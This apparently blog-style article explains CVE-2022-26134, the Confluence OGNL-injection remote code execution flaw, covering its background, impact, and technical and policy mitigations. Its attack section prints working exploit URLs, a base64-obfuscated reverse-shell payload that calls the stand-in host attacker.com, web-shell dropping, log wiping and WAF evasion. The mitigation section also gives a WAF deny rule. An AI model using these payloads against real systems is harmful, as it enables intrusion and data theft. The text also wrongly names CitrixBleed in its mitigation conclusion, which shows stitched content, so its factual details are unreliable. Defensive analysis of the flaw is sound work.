Cyber Chronicles: CVE-2022-26134 – Confluence RCE Vulnerability

Welcome to another edition of Cyber Chronicles, where we unravel the threats lurking in our digital infrastructure. Today, we examine CVE-2022-26134, a critical remote code execution (RCE) vulnerability in Atlassian Confluence Server and Data Center that sent shockwaves through enterprises in June 2022. This flaw allowed unauthenticated attackers to execute arbitrary code, compromising collaboration platforms used by thousands of organizations worldwide. Dubbed the Confluence RCE exploit, it highlighted the risks of unpatched software in a hybrid work era. This article explores the context of the vulnerability, its technical mechanics, the methods of exploitation, its significant impacts, and the technical and policy measures needed to thwart such dangers.

Background of the Context

Atlassian Confluence is a popular collaboration tool for creating, sharing, and managing content, widely adopted by businesses, government agencies, and educational institutions. Available as both a self-hosted Server/Data Center edition and a cloud-based service, Confluence powers team wikis, project documentation, and knowledge bases. By 2022, its on-premises versions were critical to organizations preferring control over their data, especially amid growing remote and hybrid work trends post-COVID-19.

On June 2, 2022, Atlassian released an urgent security advisory for CVE-2022-26134, following its discovery by Volexity during an incident response investigation. The vulnerability had been actively exploited in the wild since late May, with attackers deploying web shells and ransomware. Atlassian rushed patches (e.g., 7.4.17, 7.13.7), but the damage was swift: within days, over 10,000 instances were targeted, according to GreyNoise. Groups like LockBit and Qilin capitalized on the flaw, amplifying its impact.

The timing—early summer, with IT teams often understaffed—mirrored past high-profile exploits like Log4Shell, catching many off-guard. CVE-2022-26134 underscored the fragility of self-hosted software and the challenges of securing widely exposed collaboration tools.

Vulnerability Description

CVE-2022-26134 is a remote code execution vulnerability in Confluence Server and Data Center, affecting versions 1.3.0 through 7.18.0 (prior to patched releases). The flaw resides in the Object-Graph Navigation Language (OGNL) engine, which Confluence uses to process dynamic expressions in its web interface.

The vulnerability arises from insecure OGNL injection in the URL path handling of Confluence’s web application. Attackers can craft a malicious URL containing an OGNL expression—e.g., ${Runtime.getRuntime().exec(“whoami”)}—that the server evaluates without proper sanitization. This occurs because Confluence fails to restrict OGNL execution in certain unauthenticated endpoints, allowing arbitrary code to run with the privileges of the Confluence process (typically SYSTEM or root).

The CVSS score of 9.8/10 reflects its severity: it requires no authentication, works remotely, and targets a default configuration. Unlike cloud-hosted Confluence, which was unaffected, on-premises instances exposed to the internet were prime targets.

Attack Method (Technical Details)

Exploiting CVE-2022-26134 is alarmingly simple and highly effective. Below is a technical breakdown of the attack, based on public PoCs and observed exploits.

1. Reconnaissance
   • Attackers scan for Confluence instances on ports 8090 (default) or 443 (if proxied), using tools like Shodan or Censys.
   • They confirm vulnerability by testing OGNL injection in URLs (e.g., /pages/%24%7B1%2B1%7D.action returns 2 if exploitable).
2. Crafting the Malicious Request
   • The attacker sends an HTTP GET request with an OGNL payload in the URL. Example:GET /%24%7B%40java.lang.Runtime%40getRuntime().exec(%22whoami%22)%7D/ HTTP/1.1 Host: target.com
   • URL-encoded, ${@java.lang.Runtime@getRuntime().exec(“whoami”)} executes the whoami command on the server.
3. Executing Arbitrary Code
   • The Confluence server processes the OGNL expression, running the command in the system shell.
   • Common payloads include:
     • Spawning a reverse shell: ${@java.lang.Runtime@getRuntime().exec(“bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}”)}.
     • Dropping a web shell: Writing a JSP file to /confluence/temp/ via FileOutputStream.
4. Post-Exploitation
   • With a shell, the attacker:
     • Enumerates the system (e.g., uname -a, netstat -tuln).
     • Exfiltrates Confluence data (e.g., database backups from /confluence/data/).
     • Deploys ransomware or persistence mechanisms (e.g., LockBit, cron jobs).
   • Lateral movement targets internal networks via exposed credentials or SSH keys.
5. Evasion Techniques
   • Attackers encode payloads (e.g., Base64) or split OGNL expressions across headers to bypass WAFs.
   • They clean logs (/confluence/logs/catalina.out) to evade detection.

The exploit’s accessibility—requiring only a crafted URL—enabled rapid automation, with botnets scanning millions of IPs within hours of disclosure.

Impact of the Attack

CVE-2022-26134’s fallout was swift and severe, disrupting organizations globally. Here’s a detailed assessment:

1. Widespread Exploitation
   • By June 2022, over 10,000 Confluence instances were hit, with Rapid7 reporting 60% of exposed systems probed within a week.
   • Targets included tech firms, universities, and government agencies.
2. Ransomware Surge
   • LockBit and Qilin encrypted Confluence servers, demanding ransoms and disrupting operations.
   • Small businesses, lacking robust backups, faced permanent data loss.
3. Data Breaches
   • Attackers stole sensitive project data, intellectual property, and PII from Confluence wikis.
   • Nation-states likely exploited it for espionage, targeting critical infrastructure operators.
4. Operational Disruption
   • Organizations took Confluence offline to patch, halting team collaboration during peak workloads.
   • Recovery efforts strained IT resources, with some rebuilding servers from scratch.
5. Trust in Self-Hosted Solutions
   • The incident fueled skepticism about on-premises software, accelerating migrations to Confluence Cloud.
   • Atlassian’s reputation took a hit, prompting calls for better zero-day response.

CISA added CVE-2022-26134 to its Known Exploited Vulnerabilities Catalog in June 2022, mandating federal agencies to patch—a sign of its national security implications.

Mitigation and Prevention (Technical and Policy Details)

Mitigating CVE-2022-26134 demands immediate action and systemic resilience. Below are detailed recommendations:

Technical Mitigation

1. Patch Immediately
   • Upgrade to fixed versions (e.g., 7.4.17, 7.13.7, 7.19.0) released June 2, 2022.
   • Use Atlassian’s health check tool (confluence-healthcheck.jar) to verify patch status.
2. Interim Workarounds
   • Disable public access to Confluence by restricting port 8090/443 to trusted IPs via firewalls.
   • Block OGNL injection with a WAF rule: SecRule REQUEST_URI “@contains ${” “DROP”.
3. Network Hardening
   • Proxy Confluence behind a VPN or reverse proxy with MFA.
   • Segment Confluence servers from internal networks to limit lateral movement.
4. Monitor and Detect
   • Enable verbose logging (/confluence/logs/application.log) to spot OGNL execution (e.g., ${ patterns).
   • Deploy EDR to detect spawned processes (e.g., bash, cmd.exe).
5. Secure Configurations
   • Run Confluence as a non-root user to limit damage (edit /confluence/bin/setenv.sh).
   • Disable unused plugins via the Confluence admin panel.
6. Post-Breach Actions
   • Scan for web shells in /confluence/temp/ and /confluence/WEB-INF/.
   • Rotate all credentials and rebuild compromised instances from clean backups.

Policy Measures

1. Patch Management Overhaul
   • Enforce a 48-hour patching window for critical flaws, with automated notifications to IT leads.
   • Prioritize collaboration tools in vulnerability scans (e.g., Tenable.io).
2. Zero Trust Architecture
   • Require MFA for all Confluence access, even internally, via SAML or OAuth.
   • Use network policies to restrict outbound traffic from Confluence servers.
3. Vendor Coordination
   • Demand proactive vuln disclosure from vendors like Atlassian, with SLAs for patch delivery.
   • Join Atlassian’s early warning program for zero-day alerts.
4. Incident Response Planning
   • Update playbooks for Confluence RCE scenarios, including data recovery and system isolation.
   • Conduct annual drills simulating collaboration platform breaches.
5. Regulatory Push
   • Advocate for fines on unpatched critical systems, per NIST 800-53 (SI-2).
   • Certify compliance with SOC 2 for third-party risk management.
6. Cloud Transition Strategy
   • Plan migration to Confluence Cloud to offload patching burdens.
   • Allocate funds for hybrid deployments as a bridge to full cloud adoption.

These measures address CitrixBleed’s immediate risks and fortify defenses against future collaboration tool exploits.

Summary

CVE-2022-26134, the Confluence RCE vulnerability, exposed the fragility of self-hosted collaboration platforms in a remote work world. Its rapid exploitation revealed the stakes of delayed patching and the need for robust security in widely used tools. As we stand on April 2, 2025, this flaw’s lessons endure: agility, visibility, and preparedness are non-negotiable. Tune in next time to Cyber Chronicles as we dissect another critical vulnerability shaping our digital future.